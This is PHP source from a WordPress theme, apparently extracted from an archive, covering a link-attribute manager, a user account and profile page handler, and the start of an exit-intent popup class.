		$link .= '>';

		if ( null !== $this->content ) {
			if ( true === $escape_content ) {
				$link .= esc_html( $this->content );
			} else {
				$link .= $this->content;
			}

			$link .= '</' . esc_attr( $this->tag_name ) . '>';
		}

		return $link;
	}

	/**
	 * Parse an attributes string into an array. If the string starts with a tag,
	 * then the attributes on the first tag are parsed. This parses via a manual
	 * loop and is designed to be safer than using DOMDocument.
	 *
	 * @param string $atts
	 *
	 * @return   array
	 *
	 * @example  parse_attrs( 'src="example.jpg" alt="example"' )
	 * @example  parse_attrs( '<img src="example.jpg" alt="example">' )
	 * @example  parse_attrs( '<a href="example"></a>' )
	 *
	 * @link http://dev.airve.com/demo/speed_tests/php/parse_attrs.php
	 */
	final protected function parse_atts( $atts ) {
		$atts = str_split( trim( $atts ) );

		if ( '<' === $atts[0] ) { // looks like a tag so strip the tagname
			while ( $atts && ! ctype_space( $atts[0] ) && $atts[0] !== '>' ) {
				array_shift( $atts );
			}
		}

		$arr   = array(); // output
		$name  = '';     // for the current attr being parsed
		$value = '';    // for the current attr being parsed
		$mode  = 0;      // whether current char is part of the name (-), the value (+), or neither (0)
		$stop  = false;  // delimiter for the current $value being parsed
		$space = ' ';   // a single space

		foreach ( $atts as $j => $curr ) {
			if ( $mode < 0 ) { // name
				if ( '=' === $curr ) {
					$mode = 1;
					$stop = false;
				} elseif ( '>' === $curr ) {
					'' === $name or $arr[ $name ] = $value;
					break;
				} elseif ( ! ctype_space( $curr ) ) {
					if ( ctype_space( $atts[ $j - 1 ] ) ) {     // previous char
						'' === $name or $arr[ $name ] = '';     // previous name
						$name = $curr;                          // initiate new
					} else {
						$name .= $curr;
					}
				}
			} elseif ( $mode > 0 ) { // value
				if ( $stop === false ) {
					if ( ! ctype_space( $curr ) ) {
						if ( '"' === $curr || "'" === $curr ) {
							$value = '';
							$stop  = $curr;
						} else {
							$value = $curr;
							$stop  = $space;
						}
					}
				} elseif ( $stop === $space ? ctype_space( $curr ) : $curr === $stop ) {
					$arr[ $name ] = $value;
					$mode         = 0;
					$name         = $value = '';
				} else {
					$value .= $curr;
				}
			} else { // neither
				if ( '>' === $curr ) {
					break;
				}
				if ( ! ctype_space( $curr ) ) {
					// initiate
					$name = $curr;
					$mode = - 1;
				}
			}
		}

		// incl the final pair if it was quoteless
		'' === $name or $arr[ $name ] = $value;

		return $arr;
	}

	/**
	 * Mark as external link (by setting data attribute)
	 */
	public function set_external() {
		$this->set_attr( 'data-penci-link', 'external' );
	}

	/**
	 * Is marked as external link
	 * @return boolean
	 */
	public function is_external() {
		return 'external' === $this->get_attr( 'data-penci-link' ) || $this->has_attr_value( 'rel', 'external' );
	}

	/**
	 * Mark as internal link (by setting data attribute)
	 */
	public function set_internal() {
		$this->set_attr( 'data-penci-link', 'internal' );
	}

	/**
	 * Is marked as internal link
	 * @return boolean
	 */
	public function is_internal() {
		return 'internal' === $this->get_attr( 'data-penci-link' );
	}

	/**
	 * Mark as excluded link (by setting data attribute)
	 */
	public function set_exclude() {
		$this->set_attr( 'data-penci-link', 'exclude' );
	}

	/**
	 * Is marked as excluded link
	 * @return boolean
	 */
	public function is_exclude() {
		return 'exclude' === $this->get_attr( 'data-penci-link' );
	}

	/**
	 * Mark as ignored link (by setting data attribute)
	 */
	public function set_ignore() {
		$this->set_attr( 'data-penci-link', 'ignore' );
	}

	/**
	 * Is marked as ignored link
	 * @return boolean
	 */
	public function is_ignore() {
		return 'ignore' === $this->get_attr( 'data-penci-link' );
	}

	/**
	 * Check url is mailto link
	 * @return boolean
	 */
	public function is_mailto() {
		$url = trim( $this->get_attr( 'href' ) );

		if ( substr( $url, 0, 7 ) === 'mailto:' ) {
			return true;
		}

		return false;
	}

}
PK     1w\\'  \'    links/link_options.phpnu [        <?php

class Penci_Link_Options {

	private $content_placeholders = array();

	public function __construct() {

		if ( get_theme_mod( 'penci_linkmg_external_link_enable' ) || get_theme_mod( 'penci_linkmg_interal_link_enable' ) || get_theme_mod( 'penci_linkmg_excluded_link_enable' ) ) {
			require_once 'link_html.php';
			$this->init();
		}
	}

	protected function init() {
		$filter_hooks = [
			'the_title',
			'the_content',
			'the_excerpt',
			'get_the_excerpt',
			'comment_text',
			'comment_excerpt'
		];
		foreach ( $filter_hooks as $hook ) {
			add_filter( $hook, [ $this, 'scan' ], 10000000000 );
		}
	}


	public function scan( $content ) {
		/**
		 * Filter whether the plugin settings will be applied on links
		 *
		 * @param boolean $apply_settings
		 */
		$apply_settings = $this->filter_penci_apply_settings();

		if ( false === $apply_settings ) {
			return $content;
		}

		$content = $this->penci_before_filter( $content );

		$regexp_link = '/<a[^A-Za-z>](.*?)>(.*?)<\/a[\s+]*>/is';

		$content = preg_replace_callback( $regexp_link, [ $this, 'match_link' ], $content );

		/**
		 * Filters after scanning content (for internal use)
		 *
		 * @param string $content
		 */
		$content = $this->penci_after_filter( $content );

		return $content;
	}

	protected function match_link( $matches ) {
		$original_link = $matches[0];
		$atts          = $matches[1];
		$label         = $matches[2];

		if ( strpos( $atts, 'href' ) === false ) {
			return $original_link;
		}

		$created_link = $this->get_created_link( $label, $atts );

		if ( false === $created_link ) {
			return $original_link;
		}

		return $created_link;
	}

	protected function get_created_link( $label, $atts ) {
		$link = new Penci_Links_HTML( 'a', $label );
		$link->set_atts( $atts );

		/**
		 * Action triggered before link settings will be applied
		 *
		 * @param Penci_Links_HTML $link
		 *
		 * @return void
		 */
		do_action( 'penci_before_apply_link', $link );

		$this->penci_before_apply_link( $link );

		// has ignore flag
		if ( $link->is_ignore() ) {
			return false;
		}

		$this->set_link( $link );

		return $link->get_html( false );
	}

	protected function set_link( Penci_Links_HTML $link ) {
		$url = $link->get_attr( 'href' );

		$excludes_as_internal_links = false;

		// internal, external or excluded
		$is_excluded = $link->is_exclude() || $this->is_excluded_url( $url );
		$is_internal = $link->is_internal() || ( $this->is_internal_url( $url ) && ! $this->is_included_url( $url ) ) || ( $is_excluded && $excludes_as_internal_links );
		$is_external = $link->is_external() || ( ! $is_internal && ! $is_excluded );

		if ( strpos( $url, '#' ) === 0 ) {
			// skip anchors
		} else if ( $is_external ) {
			$link->set_external();
			$this->apply_link_settings( $link, 'penci_linkmg_external_link' );
		} else if ( $is_internal ) {
			$link->set_internal();
			$this->apply_link_settings( $link, 'penci_linkmg_interal_link' );
		} else if ( $is_excluded ) {
			$link->set_exclude();
			$this->apply_link_settings( $link, 'penci_linkmg_excluded_link' );
		}

		/**
		 * Action for changing link object
		 *
		 * @param Penci_Links_HTML $link
		 *
		 * @return void
		 */
		do_action( 'penci_link', $link );
	}

	protected function opt( $key, $type = null ) {
		if ( $type ) {
			return get_theme_mod( $type . '_' . $key );
		} else {
			return get_theme_mod( $key );
		}
	}

	protected function apply_link_settings( Penci_Links_HTML $link, $type ) {
		if ( ! $this->opt( 'enable', $type ) ) {
			return;
		}

		// set target
		$target     = $this->opt( 'target', $type );
		$has_target = $link->has_attr( 'target' );

		if ( $target && ! $has_target ) {
			$link->set_attr( 'target', $target );
		}

		// add "follow" / "nofollow"
		$follow     = $this->opt( 'rel_follow', $type );
		$has_follow = $link->has_attr_value( 'rel', 'follow' ) || $link->has_attr_value( 'rel', 'nofollow' );

		if ( $follow && ! $has_follow ) {

			$link->add_to_attr( 'rel', $follow );
		}

		$rel_options = $this->opt( 'rel_options', $type );
		$rel_options = explode( ',', $rel_options );

		// add "external"
		if ( 'penci_linkmg_external_link' === $type && in_array( 'rel_external', $rel_options ) ) {
			$link->add_to_attr( 'rel', 'external' );
		}

		// add "noopener"
		if ( in_array( 'rel_noopener', $rel_options ) ) {
			$link->add_to_attr( 'rel', 'noopener' );
		}

		// add "noreferrer"
		if ( in_array( 'rel_noreferrer', $rel_options ) ) {
			$link->add_to_attr( 'rel', 'noreferrer' );
		}

		// add "sponsored"
		if ( 'penci_linkmg_external_link' === $type && in_array( 'rel_sponsored', $rel_options ) ) {
			$link->add_to_attr( 'rel', 'sponsored' );
		}

		// add "ugc"
		if ( 'penci_linkmg_external_link' === $type && in_array( 'rel_ugc', $rel_options ) ) {
			$link->add_to_attr( 'rel', 'ugc' );
		}
	}

	protected function is_included_url( $url ) {
		// should be using private property, but static is more practical
		static $include_urls_arr = null;

		if ( null === $include_urls_arr ) {
			$include_urls = $this->opt( 'penci_linkmg_exceptions_ieurl' );
			$include_urls = str_replace( "\n", ',', $include_urls );

			if ( '' === trim( $include_urls ) ) {
				$include_urls_arr = array();
			} else {
				$include_urls_arr = explode( ',', $include_urls );
			}

			$include_urls_arr = array_filter( $include_urls_arr, function ( $url ) {
				return '' !== trim( $url );
			} );
		}

		foreach ( $include_urls_arr as $include_url ) {
			if ( false !== strpos( $url, $include_url ) ) {
				return true;
			}
		}

		return false;
	}

	protected function is_excluded_url( $url ) {
		// should be using private property, but static is more practical
		static $exclude_urls_arr = null;

		if ( null === $exclude_urls_arr ) {
			$exclude_urls = $this->opt( 'penci_linkmg_exceptions_eeurl' );
			$exclude_urls = str_replace( "\n", ',', $exclude_urls );

			if ( '' === trim( $exclude_urls ) ) {
				$exclude_urls_arr = array();
			} else {
				$exclude_urls_arr = explode( ',', $exclude_urls );
			}

			$exclude_urls_arr = array_filter( $exclude_urls_arr, function ( $url ) {
				return '' !== trim( $url );
			} );
		}

		foreach ( $exclude_urls_arr as $exclude_url ) {
			if ( false !== strpos( $url, $exclude_url ) ) {
				return true;
			}
		}

		return false;
	}

	protected function is_internal_url( $url ) {
		// all relative url's are internal
		if ( substr( $url, 0, 7 ) !== 'http://'
		     && substr( $url, 0, 8 ) !== 'https://'
		     && substr( $url, 0, 6 ) !== 'ftp://'
		     && substr( $url, 0, 2 ) !== '//' ) {
			return true;
		}

		// is internal
		$url_without_protocol = preg_replace( '#^http(s)?://#', '', home_url( '' ) );
		$clean_home_url       = preg_replace( '/^www\./', '', $url_without_protocol );

		if ( 0 === strpos( $url, 'http://' . $clean_home_url )
		     || 0 === strpos( $url, 'https://' . $clean_home_url )
		     || 0 === strpos( $url, 'http://www.' . $clean_home_url )
		     || 0 === strpos( $url, 'https://www.' . $clean_home_url )
		) {
			return true;
		}

		// check subdomains
		if ( $this->opt( 'penci_linkmg_exceptions_subdomain' ) && false !== strpos( $url, $this->get_domain() ) ) {
			return true;
		}

		return false;
	}

	protected function get_domain() {
		// should be using private property, but static is more practical
		static $domain_name = null;

		if ( null === $domain_name ) {
			preg_match(
				'/[a-z0-9\-]{1,63}\.[a-z\.]{2,6}$/'
				, parse_url( home_url(), PHP_URL_HOST )
				, $domain_tld
			);

			if ( count( $domain_tld ) > 0 ) {
				$domain_name = $domain_tld[0];
			} else {
				$domain_name = sanitize_text_field( $_SERVER['SERVER_NAME'] );
			}
		}

		return $domain_name;
	}

	protected function filter_penci_apply_settings() {
		if ( ! is_single() && ! is_page() ) {
			return true;
		}

		$current_post_id   = get_queried_object_id();
		$skip_post_ids     = $this->opt( 'penci_linkmg_exceptions_ids' );
		$skip_post_ids_arr = explode( ',', $skip_post_ids );

		foreach ( $skip_post_ids_arr as $post_id ) {
			if ( intval( $post_id ) === $current_post_id ) {
				return false;
			}
		}

		return true;
	}

	protected function penci_before_apply_link( Penci_Links_HTML $link ) {
		// ignore mailto links
		if ( $link->is_mailto() ) {
			$link->set_ignore();
		}

		// ignore WP Admin Bar Links
		if ( $link->has_attr_value( 'class', 'ab-item' ) ) {
			$link->set_ignore();
		}

		// ignore links containing ignored classes
		if ( $this->has_ignore_class( $link ) ) {
			$link->set_ignore();
		}
	}

	private function has_ignore_class( Penci_Links_HTML $link ) {
		$ignore_classes     = $this->opt( 'penci_linkmg_exceptions_class' );
		$ignore_classes_arr = explode( ',', $ignore_classes );

		foreach ( $ignore_classes_arr as $ignore_class ) {
			if ( $link->has_attr_value( 'class', trim( $ignore_class ) ) ) {
				return true;
			}
		}

		return false;
	}

	protected function penci_before_filter( $content ) {
		$ignore_tags = array( 'head', 'script' );


		foreach ( $ignore_tags as $tag_name ) {
			$content = preg_replace_callback(
				$this->get_tag_regexp( $tag_name )
				, [ $this, 'skip_tag' ]
				, $content
			);
		}

		return $content;
	}

	protected function penci_after_filter( $content ) {
		return $this->restore_content_placeholders( $content );
	}

	protected function get_tag_regexp( $tag_name ) {
		return '/<' . $tag_name . '[\s.*>|>](.*?)<\/' . $tag_name . '[\s+]*>/is';
	}

	protected function skip_tag( $matches ) {
		$skip_content = $matches[0];

		return $this->get_placeholder( $skip_content );
	}

	protected function get_placeholder( $placeholding_content ) {
		$placeholder                                = '<!--- PENCI PLACEHOLDER ' . count( $this->content_placeholders ) . ' --->';
		$this->content_placeholders[ $placeholder ] = $placeholding_content;

		return $placeholder;
	}

	protected function restore_content_placeholders( $content ) {
		foreach ( $this->content_placeholders as $placeholder => $placeholding_content ) {
			$content = str_replace( $placeholder, $placeholding_content, $content );
		}

		return $content;
	}
}

new Penci_Link_Options();PK     1w\OSosA  sA    user-profile.phpnu [        <?php

/**
 * Class Soledad Account Page
 */
class PenciUserProfile {
	private static $instance;

	private $endpoint;

	private $current_page;

	private $page_title;

	public static function getInstance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	private function __construct() {

		if ( get_theme_mod( 'penci_disable_all_user_profiles' ) ) {
			return false;
		}

		add_action( 'after_setup_theme', function(){
			$this->setup_endpoint();
		});

		$this->setup_hook();

		add_action( 'init', function(){
			if ( !is_admin() ) {
				add_action( 'penci_account_main_content', array( $this, 'get_right_content' ) );
				add_action( 'penci_account_right_title', array( $this, 'get_right_title' ) );
			}
		});
	}

	protected function setup_hook() {
		if ( is_admin() ) {
			if ( get_theme_mod( 'limit_access_media', false ) ) {
				add_action( 'pre_get_posts', array( $this, 'users_own_attachments' ) );
				add_filter( 'ajax_query_attachments_args', array( $this, 'filter_user_media' ) );
				add_action( 'delete_attachment', array( $this, 'disable_delete_attachment' ) );
			}
		} else {
			add_action( 'wp_loaded', array( $this, 'form_handler' ), 20 );
			add_action( 'template_include', array( $this, 'add_page_template' ) );
			add_filter( 'document_title_parts', array( $this, 'account_title' ) );
		}
		add_action( 'init', array( $this, 'add_rewrite_rule' ) );
		add_action( 'after_switch_theme', array( $this, 'flush_rewrite_rules' ) );
		add_action( 'admin_init', array( $this, 'prevent_admin_access' ), 5 );
		add_filter( 'get_avatar', array( $this, 'user_avatar' ), 10, 6 );
		add_filter( 'get_avatar_url', array( $this, 'user_avatar_url' ), 10, 2 );
		add_filter( 'upload_mimes', array( $this, 'filter_mime_types' ) );
		add_action( 'admin_head-nav-menus.php', array( $this, 'add_nav_menu_meta_boxes' ) );


	}

	public function filter_mime_types( $mime_types ) {
		if ( $this->current_page === 'edit_account' ) {
			return array(
				'jpg|jpeg|jpe' => 'image/jpeg',
				'gif'          => 'image/gif',
				'png'          => 'image/png',
			);
		}

		return $mime_types;
	}

	public function load_script() {
		wp_enqueue_media();
	}

	protected function is_account_page( $wp ) {
		if ( is_user_logged_in() && ! is_admin() ) {
			if ( isset( $wp->query_vars[ $this->endpoint['account']['slug'] ] ) ) {
				add_action( 'wp_enqueue_scripts', array( $this, 'load_script' ) );

				return true;
			}
		}

		return false;
	}

	protected function is_login_page( $wp ) {
		if ( ! is_user_logged_in() && ! is_admin() ) {
			if ( isset( $wp->query_vars[ $this->endpoint['account']['slug'] ] ) ) {
				add_action( 'wp_enqueue_scripts', array( $this, 'load_script' ) );


				return true;
			}
		}

		return false;
	}

	protected function setup_endpoint() {
		$endpoint = array(
			'account'         => array(
				'slug'  => get_theme_mod( 'penci_frontend_submit_account_slug', 'account' ),
				'label' => 'my_account',
				'title' => penci_get_setting( 'penci_trans_my_account' ),
			),
			'edit_account'    => array(
				'slug'  => get_theme_mod( 'penci_frontend_submit_edit_account_slug', 'edit-account' ),
				'label' => 'edit_account',
				'title' => penci_get_setting( 'penci_trans_edit_account' ),
			),
			'change_password' => array(
				'slug'  => get_theme_mod( 'penci_frontend_submit_change_password_slug', 'change-password' ),
				'label' => 'change_password',
				'title' => penci_get_setting( 'penci_trans_change_password' ),
			),
			'like_posts'      => array(
				'slug'  => get_theme_mod( 'penci_frontend_submit_like_posts_slug', 'like-posts' ),
				'label' => 'change_password',
				'title' => penci_get_setting( 'penci_trans_like_posts' ),
			),
		);

		if ( get_theme_mod( 'penci_disable_user_profiles' ) ) {
			unset( $endpoint['edit_account'] );
			unset( $endpoint['change_password'] );
		}

		$this->endpoint = apply_filters( 'penci_account_page_endpoint', $endpoint );
	}

	protected function setup_current_page( $page ) {
		foreach ( $this->endpoint as $key => $value ) {
			if ( $page == $value['slug'] ) {
				$this->current_page = $key;
			}
		}
	}

	public function get_right_title() {
		if ( isset( $this->current_page ) ) {
			echo __( $this->endpoint[ $this->current_page ]['title'], 'soledad' );
		}
	}

	public function get_right_content() {
		if ( $this->current_page == 'edit_account' ) {
			load_template( PENCI_SOLEDAD_DIR . '/inc/templates/edit_account.php', true, $this->get_user_data() );
		} elseif ( $this->current_page == 'change_password' ) {
			load_template( PENCI_SOLEDAD_DIR . '/inc/templates/account_password.php', true, $this->get_user_data() );
		} elseif ( $this->current_page == 'like_posts' ) {
			load_template( PENCI_SOLEDAD_DIR . '/inc/templates/like_posts.php', true, $this->get_user_data() );
		}
	}

	public function add_rewrite_rule() {
		add_rewrite_endpoint( $this->endpoint['account']['slug'], EP_ROOT | EP_PAGES );
		add_rewrite_rule( '^' . $this->endpoint['account']['slug'] . '/page/?([0-9]{1,})/?$', 'index.php?&paged=$matches[1]&' . $this->endpoint['account']['slug'], 'top' );
	}

	public function flush_rewrite_rules() {
		$this->add_rewrite_rule();

		global $wp_rewrite;
		$wp_rewrite->flush_rules();
	}

	public function add_page_template( $template ) {
		global $wp;

		if ( $this->is_account_page( $wp ) ) {
			$query_vars = explode( '/', $wp->query_vars[ $this->endpoint['account']['slug'] ] );

			if ( ! empty( $query_vars[0] ) ) {
				$this->setup_current_page( $query_vars[0] );
			} else {
				wp_safe_redirect( esc_url( penci_home_url_multilang( $this->endpoint['account']['slug'] . '/' . $this->endpoint['edit_account']['slug'] ) ) );
			}

			if ( isset( $this->endpoint[ $this->current_page ]['title'] ) && $this->endpoint[ $this->current_page ]['title'] ) {
				$this->page_title = $this->endpoint[ $this->current_page ]['title'];
			}

			$template = PENCI_SOLEDAD_DIR . '/inc/templates/account.php';
		} else if ( $this->is_login_page( $wp ) ) {
			$this->page_title = penci_get_setting( 'penci_plogin_label_log_in' );

			if ( class_exists( 'WooCommerce' ) ) {
				$myaccount_page = get_option( 'woocommerce_myaccount_page_id' );
				if ( $myaccount_page ) {
					wp_safe_redirect( get_permalink( $myaccount_page ) );
				}

			} else {
				wp_safe_redirect( esc_url( home_url( '/' ) ) );
			}
		}

		return $template;
	}

	public function account_title( $title ) {
		global $wp;
		$split      = $title;
		$additional = '';

		if ( isset( $this->page_title ) ) {
			$additional = $this->page_title;
		}

		$additional = apply_filters( 'penci_account_title', $additional, $wp, $this->endpoint );

		global $wp_query;
		$split['title'] = isset( $wp_query->queried_object->post_title );

		if ( ! empty( $additional ) ) {
			$title['title'] = $additional . ' ' . $split['title'];
		}

		return $title;
	}

	public function user_avatar_url( $url, $id_or_email ) {
		$profile_picture = get_the_author_meta( 'profile_picture', $id_or_email );

		if ( $profile_picture ) {
			$image = wp_get_attachment_image_src( $profile_picture, 'penci-thumb' );

			if ( ! empty( $image ) ) {
				$url = $image[0];
			}
		}

		return $url;
	}

	public function user_avatar( $avatar, $user_id, $size, $default, $alt, $args ) {
		$profile_picture = get_the_author_meta( 'profile_picture', $user_id );

		if ( $profile_picture ) {
			$image = wp_get_attachment_image_src( $profile_picture, 'penci-thumb' );

			$class = array( 'avatar', 'avatar-' . (int) $args['size'], 'photo' );

			if ( ! $args['found_avatar'] || $args['force_default'] ) {
				$class[] = 'avatar-default';
			}

			if ( $args['class'] ) {
				if ( is_array( $args['class'] ) ) {
					$class = array_merge( $class, $args['class'] );
				} else {
					$class[] = $args['class'];
				}
			}

			if ( ! empty( $image ) ) {

				$avatar = sprintf(
					"<img alt='%s' src='%s' srcset='%s' class='%s' height='%d' width='%d' %s/>",
					esc_attr( $args['alt'] ),
					esc_url( $image[0] ),
					esc_attr( "$image[0] 2x" ),
					esc_attr( join( ' ', $class ) ),
					(int) $args['height'],
					(int) $args['width'],
					$args['extra_attr']
				);
			}
		}

		return $avatar;
	}

	protected function user_social_info() {
		$socials = array(
			"facebook"   => __( 'Facebook', 'soledad' ),
			"twitter"    => __( 'Twitter', 'soledad' ),
			"linkedin"   => __( 'Linkedin', 'soledad' ),
			"pinterest"  => __( 'Pinterest', 'soledad' ),
			"behance"    => __( 'Behance', 'soledad' ),
			"github"     => __( 'Github', 'soledad' ),
			"flickr"     => __( 'Flickr', 'soledad' ),
			"tumblr"     => __( 'Tumblr', 'soledad' ),
			"dribbble"   => __( 'Dribbble', 'soledad' ),
			"soundcloud" => __( 'Soundcloud', 'soledad' ),
			"instagram"  => __( 'Instagram', 'soledad' ),
			"vimeo"      => __( 'Vimeo', 'soledad' ),
			"youtube"    => __( 'Youtube', 'soledad' ),
			"reddit"     => __( 'Reddit', 'soledad' ),
			"vk"         => __( 'Vk', 'soledad' ),
			"weibo"      => __( 'Weibo', 'soledad' ),
			"rss"        => __( 'Rss', 'soledad' ),
			"twitch"     => __( 'Twitch', 'soledad' ),
			"url"        => __( 'Website', 'soledad' ),
		);

		if ( defined( 'PENCI_PAY_WRITER' ) ) {
			$socials['paypal_account'] = __( 'Paypal Email', 'soledad' );
		}

		return $socials;
	}

	protected function get_user_data() {
		$user_id = get_current_user_id();

		$user = array(
			'user_firstname' => trim( get_the_author_meta( 'user_firstname', $user_id ) ),
			'user_lastname'  => trim( get_the_author_meta( 'user_lastname', $user_id ) ),
			'description'    => get_the_author_meta( 'description', $user_id ),
			'photo'          => array( get_avatar_url( $user_id ) )
		);

		foreach ( $this->user_social_info() as $key => $value ) {
			$user['socials'][ $key ] = array(
				'label' => $value,
				'value' => trim( get_the_author_meta( $key, $user_id ) )
			);
		}

		return $user;
	}

	public function form_handler() {
		if ( isset( $_POST['penci-action'] ) && ! empty( $_POST['penci-account-nonce'] ) && wp_verify_nonce( $_POST['penci-account-nonce'], 'penci-account-nonce' ) ) {
			$action = sanitize_key( $_POST['penci-action'] );

			switch ( $action ) {
				case 'edit-account':
					$this->edit_account_handler();
					break;
				case 'change-password':
					$this->edit_password_handler();
					break;
			}
		}
	}

	protected function edit_account_handler() {
		$user_id      = get_current_user_id();
		$first_name   = '';
		$last_name    = '';
		$display_name = '';

		try {

			if ( ! empty( $_POST['fname'] ) ) {
				$first_name = sanitize_text_field( $_POST['fname'] );
			} else {
				throw new \Exception( __( 'First name should not be empty', 'soledad' ) );
			}

			if ( ! empty( $_POST['lname'] ) ) {
				$last_name = sanitize_text_field( $_POST['lname'] );
			}

			if ( ! empty( $_POST['dname'] ) ) {
				$display_name = sanitize_text_field( $_POST['dname'] );
			}

			do_action( 'penci_account_page_on_save' );

			$url         = sanitize_text_field( $_POST['url'] );
			$description = wp_kses_post( $_POST['description'] );

			wp_update_user( array(
				'ID'           => $user_id,
				'first_name'   => $first_name,
				'last_name'    => $last_name,
				'display_name' => $display_name,
				'description'  => $description,
				'user_url'     => $url,
			) );

			foreach ( $this->user_social_info() as $key => $value ) {
				update_user_meta( $user_id, $key, sanitize_text_field( $_POST[ $key ] ) );
			}

			if ( isset( $_POST['photo'][0] ) && '' != $_POST['photo'][0] ) {
				update_user_meta( $user_id, 'profile_picture', sanitize_text_field( $_POST['photo'][0] ) );
			} else {
				delete_user_meta( $user_id, 'profile_picture' );
			}

			$_POST['success-message'] = penci_get_setting( 'penci_trans_update_notice' );

		} catch ( \Exception $e ) {
			$_POST['error-message'] = $e->getMessage();
		}
	}

	protected function edit_password_handler() {
		$user_id = get_current_user_id();
		$user    = get_userdata( $user_id );

		try {

			if ( ! empty( $_POST['old_password'] ) ) {
				if ( ! wp_check_password( $_POST['old_password'], $user->data->user_pass, $user_id ) ) {
					throw new \Exception( penci_get_setting( 'penci_trans_password_not_valid' ) );
				}

				if ( empty( $_POST['new_password'] ) || empty( $_POST['confirm_password'] ) ) {
					throw new \Exception( penci_get_setting( 'penci_trans_password_new' ) );
				}

				if ( $_POST['new_password'] !== $_POST['confirm_password'] ) {
					throw new \Exception( penci_get_setting( 'penci_trans_password_match' ) );
				}

				$this->do_reset_password( $user, $_POST['new_password'] );

				$_POST['success-message'] = penci_get_setting( 'penci_trans_password_success' );
			} else {
				throw new \Exception( penci_get_setting( 'penci_trans_password_e' ) );
			}
		} catch ( \Exception $e ) {
			$_POST['error-message'] = $e->getMessage();
		}
	}

	protected function do_reset_password( $user, $new_pass ) {
		do_action( 'password_reset', $user, $new_pass );

		wp_set_password( $new_pass, $user->ID );

		wp_password_change_notification( $user );
	}

	public function users_own_attachments( $wp_query ) {
		if ( $wp_query->is_main_query() ) {
			global $pagenow;

			if ( 'upload.php' === $pagenow || 'media-upload.php' === $pagenow ) {
				if ( ! current_user_can( 'manage_options' ) ) {
					$wp_query->set( 'author', get_current_user_id() );
				}
			}
		}
	}

	public function filter_user_media( $query ) {
		if ( ! ( current_user_can( 'manage_options' ) ) ) {
			$query['author'] = get_current_user_id();
		}

		return $query;
	}

	public function disable_delete_attachment() {
		if ( ! current_user_can( 'manage_options' ) ) {
			exit();
		}
	}

	public function prevent_admin_access() {
		$prevent_access = ! ( defined( 'DOING_AJAX' ) && DOING_AJAX ) && ! current_user_can( 'edit_posts' ) && ! current_user_can( 'edit_pages' ) && $this->admin_post_action() ? true : false;

		if ( $prevent_access ) {
			wp_safe_redirect( esc_url( penci_home_url_multilang( '/' ) ) );
			exit;
		}
	}

	public function admin_post_action() {
		if ( strpos( $_SERVER['REQUEST_URI'], 'admin-post.php' ) !== false ) {
			return false;
		}
	}

	public function add_nav_menu_meta_boxes() {
		add_meta_box( 'penci_endpoints_nav_link', __( 'Penci Account Pages', 'soledad' ), array(
			$this,
			'nav_menu_links'
		), 'nav-menus', 'side', 'low' );
	}

	/**
	 * Output menu links.
	 */
	public function nav_menu_links() {
		// Get items from account menu.
		$endpoints = $this->endpoint;
		?>
        <div id="posttype-pcft-endpoints" class="posttypediv">
            <div id="tabs-panel-pcft-endpoints" class="tabs-panel tabs-panel-active">
                <ul id="pcft-endpoints-checklist" class="categorychecklist form-no-clear">
					<?php
					$loop_index = 999999;
					$items      = [];
					foreach ( array_slice( $endpoints, 1 ) as $key => $value ) :

						$item_url = 'editor' == $value['slug'] ? esc_url( home_url( '/' ) . $value['slug'] ) : esc_url( home_url( '/' ) . $endpoints['account']['slug'] . '/' . $value['slug'] );

						$item = new stdClass();
						$loop_index ++;
						$item->object_id        = $loop_index;
						$item->db_id            = 0;
						$item->object           = 'post_type_link';
						$item->menu_item_parent = 0;
						$item->type             = 'custom';
						$item->title            = $value['title'];
						$item->url              = $item_url;
						$item->target           = '';
						$item->attr_title       = '';
						$item->classes          = array();
						$item->xfn              = '';
						$items[]                = $item;
					endforeach;
					$walker = new Walker_Nav_Menu_Checklist( array() );
					echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $items ), 0, (object) array( 'walker' => $walker ) );
					?>
                </ul>
            </div>
            <p class="button-controls">
				<span class="list-controls">
					<a href="<?php echo esc_url( admin_url( 'nav-menus.php?page-tab=all&selectall=1#posttype-pcft-endpoints' ) ); ?>"
                       class="select-all"><?php esc_html_e( 'Select all', 'soledad' ); ?></a>
				</span>
                <span class="add-to-menu">
					<button type="submit" class="button-secondary submit-add-to-menu right"
                            value="<?php esc_attr_e( 'Add to menu', 'soledad' ); ?>"
                            name="add-post-type-menu-item"
                            id="submit-posttype-pcft-endpoints"><?php esc_html_e( 'Add to menu', 'soledad' ); ?></button>
					<span class="spinner"></span>
				</span>
            </p>
        </div>
		<?php
	}

	public function get_endpoint() {
		return $this->endpoint;
	}

	public function get_current_page() {
		return $this->endpoint[ $this->current_page ]['slug'];
	}
}

PenciUserProfile::getInstance();PK     1w\#U"      exit_intent.phpnu [        <?php
class PenciExitIntentPopup {
    function __construct() {

        if ( ! get_theme_mod( 'penci_epopup_enable' ) ) {
            return;
        }

        add_action( 'wp_footer', [ $this, 'popup_content' ] );
        add_action( 'wp_enqueue_scripts', [ $this, 'popup_assets' ] );
        add_action( 'soledad_theme/custom_css', [ $this, 'popup_style' ] );
    }

    public function popup_assets() {
        wp_enqueue_script('penci-epopup', PENCI_SOLEDAD_URL . '/js/exit.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
    }

    public function popup_content() {

		$popup_render_content = $class = '';

		$popup_content = get_theme_mod( 'penci_epopup_html_content' );
		$popup_block   = get_theme_mod( 'penci_epopup_block' );

		if ( $popup_block == '' && $popup_content ) {
			
			$popup_render_content = do_shortcode( $popup_content );
			$class                = 'normal-content';
			
		} elseif ( $popup_block ) {
			$popup_block_id = get_page_by_path( $popup_block, OBJECT, 'penci-block' )->ID;
			$class          = 'block-content';
			if ( $popup_block_id && did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $popup_block_id )->is_built_with_elementor() ) {
				$popup_render_content .= penci_get_elementor_content( $popup_block_id );
			} else {
				$popup_render_content .= do_shortcode( get_post( $popup_block_id )->post_content );

				$shortcodes_custom_css = get_post_meta( $popup_block_id, '_wpb_shortcodes_custom_css', true );

				$popup_render_content .= '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					$popup_render_content .= $shortcodes_custom_css;
				}
				$popup_render_content .= '</style>';
			}
		}

		if ( $popup_render_content ) {
			$animation = get_theme_mod( 'penci_epopup_animation', 'move-to-top' );
			echo '<div class="mfp-with-anim penci-epopup-content ' . $class . ' ' . $animation . '">' . $popup_render_content . '</div>';
			wp_reset_postdata();
		}
